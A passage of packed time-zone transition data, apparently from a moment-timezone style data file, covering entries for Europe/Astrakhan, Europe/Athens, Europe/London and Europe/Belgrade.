11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|79e3","Europe/Astrakhan|LMT +03 +04 +05|-3c.c -30 -40 -50|012323232323232323212121212121212121212121212121212121212121212|-1Pcrc.c eUMc.c 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1fA0 1cM0 3Co0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 3rd0|10e5","Europe/Athens|LMT AMT EET EEST CEST CET|-1y.Q -1y.Q -20 -30 -20 -10|0123234545232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-30SNy.Q OMM1 CNbx.Q mn0 kU10 9b0 3Es0 Xa0 1fb0 1dd0 k3X0 Nz0 SCp0 1vc0 SO0 1cM0 1a00 1ao0 1fc0 1a10 1fG0 1cg0 1dX0 1bX0 1cQ0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|35e5","Europe/London|LMT GMT BST BDST|1.f 0 -10 -20|01212121212121212121212121212121212121212121212121232323232321212321212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-4VgnW.J 2KHdW.J Rc0 1fA0 14M0 1fc0 1g00 1co0 1dc0 1co0 1oo0 1400 1dc0 19A0 1io0 1io0 WM0 1o00 14o0 1o00 17c0 1io0 17c0 1fA0 1a00 1lc0 17c0 1io0 17c0 1fA0 1a00 1io0 17c0 1io0 17c0 1fA0 1cM0 1io0 17c0 1fA0 1a00 1io0 17c0 1io0 17c0 1fA0 1a00 1io0 1qM0 Dc0 2Rz0 Dc0 1zc0 Oo0 1zc0 Rc0 1wo0 17c0 1iM0 FA0 xB0 1fA0 1a00 14o0 bb0 LA0 xB0 Rc0 1wo0 11A0 1o00 17c0 1fA0 1a00 1fA0 1cM0 1fA0 1a00 17c0 1fA0 1a00 1io0 17c0 1lc0 17c0 1fA0 1a00 1io0 17c0 1io0 17c0 1fA0 1a00 1a00 1qM0 WM0 1qM0 11A0 1o00 WM0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1tA0 IM0 90o0 U00 1tA0 U00 1tA0 U00 1tA0 U00 1tA0 WM0 1qM0 WM0 1qM0 WM0 1tA0 U00 1tA0 U00 1tA0 11z0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 14o0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|10e6","Europe/Belgrade|LMT CET CEST|-1m -10 -20|012121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3topm 2juLm 3IP0 WM0 1fA0 1cM0 1cM0 1rc0 Qo0 1vmo0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 